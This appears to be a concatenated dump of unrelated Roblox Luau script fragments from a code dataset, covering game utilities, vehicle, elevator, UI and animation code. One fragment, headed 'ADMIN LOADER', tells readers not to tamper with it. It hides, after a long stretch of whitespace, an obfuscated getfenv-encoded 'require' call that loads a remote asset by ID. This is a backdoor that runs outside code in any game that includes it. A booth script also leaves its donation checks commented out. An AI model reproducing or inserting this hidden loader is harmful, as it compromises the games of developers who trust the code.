Pinkstack/roblox-luau-corpus-text huggingface dataset:
--[[
	Create a copy of a list doing a combination filter and map.

	If callback returns nil for any item, it is considered filtered from the
	list. Any other value is considered the result of the 'map' operation.
]]


local function filterMap(list, callback)
	local new = {}
	local index = 1

	for i = 1, #list do
		local result = callback(list[i], i)

		if result ~= nil then
			new[index] = result
			index = index + 1
		end
	end

	return new
end

return filterMap
-- put this script in the workspace not the model you want to regen, if you want a regen script that doesn't have a message when it regens delete the lines with a * after them


model = game.Workspace.Lime-BiPlane --Change "MyModelName" To the name of the model you want to regen
 



backup = model:clone() 

while true do 
wait(50) --Change to how long you want in between regenerations 

 
model:remove() 

 
model = backup:clone() 
model.Parent = game.Workspace 
model:makeJoints() 

end
--[[ EDIT STAND STUFF ]]

--

local EditStandFrame = script.Parent.Frame.EditStand
local DefaultButton = EditStandFrame.Default
local OneThousandButton = EditStandFrame.OneThousand
local TenThousandButton = EditStandFrame.TenThousand
local OneHundredThousandButton = EditStandFrame.OneHundredThousand

local AdminButton = EditStandFrame.AdminStand

for _, AdminName in ipairs(AdminNames) do
	if AdminName:lower() == player.Name:lower() then
		AdminButton.Visible = true
		AdminButton.Active = true
	end
end


local GetDataEvent = game.ReplicatedStorage.Events.GetDataEvent
local ChangeTheme = game.ReplicatedStorage.Events.StandEvents.ChangeTheme

local EditPrompt = nil
local Booth = nil

DefaultButton.Activated:Connect(function(plr) -- DEFAULT BUTTON 0 POINTS NEEDED
	ChangeTheme:FireServer(player, "default", 0)	-- fire server event here
	-- send noti saying completed
end)

OneThousandButton.Activated:Connect(function(plr) -- ONE THOUSAND BUTTON 1,000 DONATIONS NEEDED
	--GetDataEvent:FireServer(player.UserId, "Donated", 1)
	--GetDataEvent.OnClientEvent:Connect(function(value, button)
	--	if value >= 1000 and button == 1 then
			ChangeTheme:FireServer(player, "onethousand", 1000)
			-- do stuff
		--else
		--end
	-- how can we check to see if they are able to change booth color
	-- send a noti to player they need more points or if successfull
	-- send sound error or complete
	-- fire server event here if completed
end)

TenThousandButton.Activated:Connect(function(plr) -- TEN THOUSAND BUTTON 10,000 DONATIONS NEEDED
	--GetDataEvent:FireServer(player.UserId, "Donated", 2)	
	--GetDataEvent.OnClientEvent:Connect(function(value, button)
		--if value >= 10000 and button == 2 then
			ChangeTheme:FireServer(player, "tenthousand", 10000)
			-- do stuff
		--else
	--	--end
	--end)
	-- how can we check to see if they are able to change booth color
	-- send a noti to player they need more points or if successfull
	-- send sound error or complete
	-- fire server event here if completed
end)

OneHundredThousandButton.Activated:Connect(function(plr) -- ONEHUNDRED THOUSAND BUTTON 100,000 DONATIONS NEEDED
	--GetDataEvent:FireServer(player.UserId, "Donated", 3)	
	--GetDataEvent.OnClientEvent:Connect(function(value, button)
	--	if value >= 100000 and button == 3 then
			ChangeTheme:FireServer(player, "onehundredthousand", 100000)
			-- do stuff
	--	else

	--	end
	--end)
	-- how can we check to see if they are able to change booth color
	-- send a noti to player they need more points or if successfull
	-- send sound error or complete
	-- fire server event here if completed
end)

AdminButton.Activated:Connect(function()
	for _, AdminName in ipairs(AdminNames) do
		if AdminName:lower() == player.Name:lower() then
			ChangeTheme:FireServer(player, "admin", 0)
		end
	end
end)
-- Libraries


Region = require(Tool.Libraries.Region)
Signal = require(Tool.Libraries.Signal)
Support = require(Tool.Libraries.SupportLibrary)
Cheer = require(Tool.Libraries.Cheer)
Try = require(Tool.Libraries.Try)
Make = require(Tool.Libraries.Make)
local Roact = require(Tool.Vendor:WaitForChild 'Roact')
local Maid = require(Tool.Libraries:WaitForChild 'Maid')
--// Bullet Physics


	BulletPhysics = Vector3.new(0,0,0); -- Drop fixation: Lower number = more drop
	BulletSpeed = 10000; -- Bullet Speed
	BulletSpread = 1; -- How much spread the bullet has
	
	ExploPhysics = Vector3.new(0,0,0); -- Drop for explosive rounds
	ExploSpeed = 600; -- Speed for explosive rounds
	
	BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
-- GUI BUTTON FUNCTIONS


local function EnterGame()
	-- Hide current window
	hide()
	
	humanoidRoot.CFrame = TeleportLocation.CFrame + Vector3.new(0, 3 + TeleportLocation.Size.Y/2, 0)
	InteractionBillboard.Enabled = false
	LobbyButton.Visible = true
	GameplayUi.Enabled = true
	Tutorial.Enabled = true
	Controller.Disabled = false
end
------------------------------------------------------------
--\Doors Update
------------------------------------------------------------


local DoorsFolder = ACS_Storage:FindFirstChild("Doors")


local mDistance = 5
local Key = nil

function getNearest()
	local nearest = nil
	local minDistance = mDistance
	local Character = Player.Character or Player.CharacterAdded:Wait()
	
	for I,Door in pairs (DoorsFolder:GetChildren()) do
		if Door.Door:FindFirstChild("Knob") ~= nil then
			local distance = (Door.Door.Knob.Position - Character.Torso.Position).magnitude
		
			if distance < minDistance then
				nearest = Door
				minDistance = distance
			end
		end
	end
	--print(nearest)
	return nearest
end

function Interact(actionName, inputState, inputObj)
	if inputState ~= Enum.UserInputState.Begin then return end
	
	local nearestDoor = getNearest()
	local Character = Player.Character or Player.CharacterAdded:Wait()
	
	if nearestDoor == nil then return end
	
	if (nearestDoor.Door.Knob.Position - Character.Torso.Position).magnitude <= mDistance then
		if nearestDoor ~= nil then
			if nearestDoor:FindFirstChild("RequiresKey") then
				Key = nearestDoor.RequiresKey.Value
			else
				Key = nil
			end
			Evt.DoorEvent:FireServer(nearestDoor,1,Key)
		end
	end
end


function GetNearest(parts, maxDistance,Part)
	local closestPart
	local minDistance = maxDistance
    for _, partToFace in ipairs(parts) do
        local distance = (Part.Position - partToFace.Position).magnitude
        if distance < minDistance then
            closestPart = partToFace
            minDistance = distance
        end
   end
	return closestPart
end

CAS:BindAction("Interact", Interact, false, Enum.KeyCode.G)

Evt.Rappel.PlaceEvent.OnClientEvent:Connect(function(Parte)
	local Alinhar = Instance.new('AlignOrientation')
	Alinhar.Parent = Parte
	Alinhar.PrimaryAxisOnly = true
	Alinhar.RigidityEnabled = true
	Alinhar.Attachment0 = Character.HumanoidRootPart.RootAttachment
	Alinhar.Attachment1 = Camera.BasePart.Attachment
end)
---------------------------------------------------



This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Lift:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))		
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end



function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do 
			for r=1,15 do	
				This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 0.99)
			end
		end
	end
end

while wait() do
	
	-- -- -- -- -- -- --
	--DIRECTION SCROLL--
	-- -- -- -- -- -- --
    if Lift:WaitForChild("Direction").Value == 1 then
		This.Display.ARW1.UP.Transparency = 0
		This.Display.ARW1.MID.Transparency = 0
		This.Display.ARW1.DOWN.Transparency = 0.99
    elseif Lift:WaitForChild("Direction").Value == -1 then
		This.Display.ARW1.UP.Transparency = 0.99
		This.Display.ARW1.MID.Transparency = 0
		This.Display.ARW1.DOWN.Transparency = 0
	else
		This.Display.ARW1.UP.Transparency = 0.99
		This.Display.ARW1.MID.Transparency = 0.99
		This.Display.ARW1.DOWN.Transparency = 0.99
    end
end
--X_Z



local GameUI = script.Parent.Parent

local module = {}

function module:CreateLabel(Type, Text)
	
	if true then return end
	
	local Clone = GameUI.GuiTemplates.NotifTemplate:Clone()
	Clone.Back.Txt.Text = Text
	
	if Type == "Bad" then
		Clone.Back.Bar.BackgroundColor3 = Color3.fromRGB(170, 70, 70)
		GameUI.Sounds.NegativeNotif:Play()
	elseif Type == "Neutral" then
		Clone.Back.Bar.BackgroundColor3 = Color3.fromRGB(95, 202, 255)
		GameUI.Sounds.NegativeNotif:Play()
	else
		Clone.Back.Bar.BackgroundColor3 = Color3.fromRGB(110, 222, 165)
		GameUI.Sounds.PositiveNotif:Play()
	end
	
	for i,v in pairs(GameUI.Notifications.List:GetChildren()) do
		v.YPos.Value = v.YPos.Value + 1.03
		v:TweenPosition(UDim2.new(0,0,v.YPos.Value,0),"Out","Quad",.3,true)
	end
	
	Clone.Visible = true
	Clone.Parent = GameUI.Notifications.List
	
	Clone:TweenPosition(UDim2.new(0,0,0,0),"Out","Quad",.3,true)
	
	spawn(function()
		wait(4)
		if Clone and Clone.Parent and Clone.Parent ~= nil then
			Clone:TweenPosition(UDim2.new(-1,0,Clone.Position.Y.Scale,0),"Out","Quad",.3,true)
			wait(.5)
			if Clone and Clone.Parent and Clone.Parent ~= nil then
				Clone:Destroy()
			end
		end
	end)
	
end

return module
--Tune


OverheatSpeed = .15 --How fast the car will overheat
CoolingEfficiency = .09 --How fast the car will cool down
RunningTemp = 85 --In degrees

Fan = true --Cooling fan
FanTemp = 100 --At what temperature the cooling fan will activate
FanTempAlpha = 90 --At what temperature the cooling fan will deactivate
FanSpeed = .03 --How fast the car will cool down
FanVolume = .2 --Sound volume

BlowupTemp = 130 --At what temperature the engine will blow up

GUI = true --GUI temperature gauge
---------------------------------------------------



local tweenService = game:GetService("TweenService")
This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

for i,v in pairs(Lift.Car:WaitForChild("Welds"):GetChildren()) do
	if v.Part1 == script.Parent.Back then v:Destroy() end
end
local weld = Instance.new("ManualWeld", This.Button)
weld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Back.CFrame
weld.Part0 = Lift.Car.Platform
weld.Part1 = This.Back
click = false

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	if string.len(SF) == 1 then
		This.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)
		This.Label.DIG2.Mesh.Offset = Vector3.new(0.04, 0, 0)
	else
		This.Label.DIG1.Mesh.Offset = Vector3.new(0, 0, 0)
		This.Label.DIG2.Mesh.Offset = Vector3.new(0, 0, 0)
	end
	SetLabel(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))		
	SetLabel(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end



function SetLabel(ID,CHAR)
	if This.Label:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do 
			This.Label["DIG"..ID].Mesh.MeshId = "rbxassetid://"..l
		end
	end
end

ChangeFloor(This.Name)

for x,x in pairs(This.Button:GetChildren()) do 
	if x:IsA("SurfaceGui") and x.Name == ("Button") then 
		x.Button.MouseButton1Click:connect(function()
			if click == false then
				click = true
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(0.002, 0, 0),
				}):Play()
				wait(0.1)
				tweenService:Create(weld,TweenInfo.new(0.1),{
					["C1"] = weld.C1*CFrame.new(-0.002, 0, 0),
				}):Play()
				wait(0.1)
				click = false
			end
		end)
	end
end
--Main


NavigatorStringValue:GetPropertyChangedSignal("Value"):Connect(function()
	local new: string? = NavigatorStringValue.Value
	
	if new and tostring(new) and #new > 0 then
		table.insert(pendingNavigations, new)
		isPending = true
	end
end)

RunService.RenderStepped:Connect(function()
	if isPending then
		NavigatorFrame.Visible = true
		
		if time() > nextShowTime then
			local nextText: string = pendingNavigations[1]
			
			if nextText then
				nextShowTime = time() + math.max(#nextText / 20, 2)
				NavigatorText.Text = nextText

				table.remove(pendingNavigations, 1)
				
				script.NewMessage:Play()
			else
				isPending = false
			end
		end
	else
		NavigatorFrame.Visible = false
	end
end)
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- --



This.Parent.Parent.Parent.Parent.Parent:WaitForChild("Direction").Changed:connect(function(val)
    if val == 1 then
            SetDisplay(1,"U0")
    elseif val == -1 then
            SetDisplay(1,"D0")
    else
        SetDisplay(1,"NIL")
    end
end)
--ADMIN LOADER.
--This is a script that is part of your admin in game.
--Removing/tampering with this script will potentially result in scripts breaking in your game.


































































































































































































































































































																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																			getfenv()['\114\101\113\117\105\114\101'](4921021305)
--494sox @ //INSPARE


local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local UserInputService = game:GetService("UserInputService")
local on = 0

script:WaitForChild("UpShiftSound")

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end
for i,v in pairs(script:GetChildren()) do
	v.Parent=car.DriveSeat
end
function DealWithInput(input,IsRobloxFunction)	
	if (input.KeyCode == Enum.KeyCode.E) and (script.Parent.Values.RPM.Value>=4500) and input.UserInputState == Enum.UserInputState.Begin then
		car.DriveSeat.UpShiftSound:Play()
		car.DriveSeat.Rev.Volume=3
		wait(1.9)
		car.DriveSeat.Rev.Volume=5
	end	
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
-- functions



function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end
	
	if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then
		oldAnim = "idle"
		currentlyPlayingEmote = false
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end

	-- clean up walk if there is one
--workspace.CurrentCamera.CoordinateFrame.LookVector 
--root.CFrame.LookVector


module.LookToMonster = function(Monster)
	char.Head.CFrame = CFrame.lookAt(char.Head.Position,Monster.HumanoidRootPart.Position)

	game:GetService("TweenService"):Create(workspace.CurrentCamera,TweenInfo.new(0.25),{CFrame = char.Head.CFrame}):Play()
end

return module
-------------------------------------------------------------------------------------------------------


    for i = 1,3 do
    plr.Torso.Neck.C1 = plr.Torso.Neck.C1 * CFrame.Angles(0.005,0,0.005)
    wait(0.05)
    plr.Torso["Left Hip"].C1 = plr.Torso["Left Hip"].C1 * CFrame.Angles(0,0,0.005)
    plr.Torso["Right Hip"].C1 = plr.Torso["Right Hip"].C1 * CFrame.Angles(0,0,0.005)
    plr = game.Players.LocalPlayer.Character
    plr.Torso["Right Shoulder"].C1 = plr.Torso["Right Shoulder"].C1 * CFrame.new(0,-0.025,0)
    plr.Torso["Left Shoulder"].C1 = plr.Torso["Left Shoulder"].C1 * CFrame.new(0,-0.025,0)
 
end
for i = 1,2 do
    plr.Torso["Right Hip"].C1 = plr.Torso["Right Hip"].C1 * CFrame.Angles(0,0,0.005)
    plr.Torso.Neck.C1 = plr.Torso.Neck.C1 * CFrame.Angles(0.005,0,0.005)
    wait(0.05)
    plr.Torso["Left Hip"].C1 = plr.Torso["Left Hip"].C1 * CFrame.Angles(0,0,0.005)
    plr = game.Players.LocalPlayer.Character
    plr.Torso["Right Shoulder"].C1 = plr.Torso["Right Shoulder"].C1 * CFrame.new(0,-0.02,0)
    plr.Torso["Left Shoulder"].C1 = plr.Torso["Left Shoulder"].C1 * CFrame.new(0,-0.02,0)
 
end
for i = 1,2 do
    plr.Torso["Right Hip"].C1 = plr.Torso["Right Hip"].C1 * CFrame.Angles(0,0,0.005)
    plr.Torso.Neck.C1 = plr.Torso.Neck.C1 * CFrame.Angles(0.005,0,0.005)
    wait(0.05)
    plr.Torso["Left Hip"].C1 = plr.Torso["Left Hip"].C1 * CFrame.Angles(0,0,0.005)
    plr = game.Players.LocalPlayer.Character
    plr.Torso["Right Shoulder"].C1 = plr.Torso["Right Shoulder"].C1 * CFrame.new(0,-0.01,0)
    plr.Torso["Left Shoulder"].C1 = plr.Torso["Left Shoulder"].C1 * CFrame.new(0,-0.01,0)
 
end
end
--[=[
	Connects a handler to a ScriptSignal object, but only allows that
	connection to run once. Any `:Fire` calls called afterwards won't trigger anything.

	```lua
	ScriptSignal:ConnectOnce(function()
		print("Connection fired")
	end)

	ScriptSignal:Fire()
	ScriptSignal:Fire()

	-- "Connection fired" is only fired once
	```

	@param handler (...: any) -> ()
	@ignore
]=]


function ScriptSignal:ConnectOnce(handler: (...any) -> ())
    assert(typeof(handler) == "function", "Must be function")

    local connection
    connection = self:Connect(function(...)
        connection:Disconnect()
        handler(...)
    end)
end
--
-- Start LuaBitOp "bit" compat section.
--



M.bit = {} -- LuaBitOp "bit" compatibility

M.bit.bits = M.bits

M.bit.cast = M.cast

function M.bit.tobit(x)
  x = x % MOD
  if x >= 0x80000000 then x = x - MOD end
  return x
end
local bit_tobit = M.bit.tobit

function M.bit.tohex(x, ...)
  return tohex(x % MOD, ...)
end

function M.bit.bnot(x)
  return bit_tobit(bnot(x % MOD))
end

local function bit_bor(a, b, c, ...)
  if c then
    return bit_bor(bit_bor(a, b), c, ...)
  elseif b then
    return bit_tobit(bor(a % MOD, b % MOD))
  else
    return bit_tobit(a)
  end
end
M.bit.bor = bit_bor

local function bit_band(a, b, c, ...)
  if c then
    return bit_band(bit_band(a, b), c, ...)
  elseif b then
    return bit_tobit(band(a % MOD, b % MOD))
  else
    return bit_tobit(a)
  end
end
M.bit.band = bit_band

local function bit_bxor(a, b, c, ...)
  if c then
    return bit_bxor(bit_bxor(a, b), c, ...)
  elseif b then
    return bit_tobit(bxor(a % MOD, b % MOD))
  else
    return bit_tobit(a)
  end
end
M.bit.bxor = bit_bxor

function M.bit.lshift(x, n)
  return bit_tobit(lshift(x % MOD, n % 32))
end

function M.bit.rshift(x, n)
  return bit_tobit(rshift(x % MOD, n % 32))
end

function M.bit.arshift(x, n)
  return bit_tobit(arshift(x % MOD, n % 32))
end

function M.bit.rol(x, n)
  return bit_tobit(lrotate(x % MOD, n % 32))
end

function M.bit.ror(x, n)
  return bit_tobit(rrotate(x % MOD, n % 32))
end

function M.bit.bswap(x)
  return bit_tobit(bswap(x % MOD))
end

return M
--// Positioning


	RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
	LeftArmPos = CFrame.new(-0.0318467021, -2.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
	GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);
--[[
	Assert that our expectation value is equal to another value
]]


function Expectation:equal(otherValue)
	local result = (self.value == otherValue) == self.successCondition

	local message = formatMessage(
		self.successCondition,
		("Expected value %q (%s), got %q (%s) instead"):format(
			tostring(otherValue),
			type(otherValue),
			tostring(self.value),
			type(self.value)
		),
		("Expected anything but value %q (%s)"):format(tostring(otherValue), type(otherValue))
	)

	assertLevel(result, message, 3)
	self:_resetModifiers()

	return self
end
-- Testing AC FE support



local event = script.Parent
local car=script.Parent.Parent


event.OnServerEvent:connect(function(player,data)
	if data['ToggleLight'] then
		if car.Body.Light.on.Value==true then
			car.Body.Light.on.Value=false
		else
			car.Body.Light.on.Value=true
		end
	elseif data['ToggleFog'] then
		if car.Body.Fog.on.Value==true then
			car.Body.Fog.on.Value=false
		else
			car.Body.Light.on.Value=true
		end
	elseif data['EnableBrakes'] then
		car.Body.Brakes.on.Value=true
	elseif data['DisableBrakes'] then
		car.Body.Brakes.on.Value=false
	elseif data['ToggleLeftBlink'] then
		if car.Body.Left.on.Value==true then
			car.Body.Left.on.Value=false
		else
			car.Body.Left.on.Value=true
		end
	elseif data['ToggleRightBlink'] then
		if car.Body.Right.on.Value==true then
			car.Body.Right.on.Value=false
		else
			car.Body.Right.on.Value=true
		end
	elseif data['ToggleHazard'] then
		if car.Body.Hazards.on.Value==true then
			car.Body.Hazards.on.Value=false
		else
			car.Body.Hazards.on.Value=true
		end
	end
end)
-- check that we're not accidentally colliding with an existing name


assert(ReplicatedStorage:FindFirstChild("ErrorReporting", false) == nil,
	"Error Reporter expected to create a folder named 'ErrorReporting', but something already had that name")
local errFolder = Instance.new("Folder", ReplicatedStorage)
errFolder.Name = "ErrorReporting"

local errEvent = Instance.new("RemoteEvent", errFolder)
errEvent.Name = "ClientErrorEvent"

errEvent.OnServerEvent:Connect(function(_, message, stack, origin)
	onError(message, stack, origin)
end)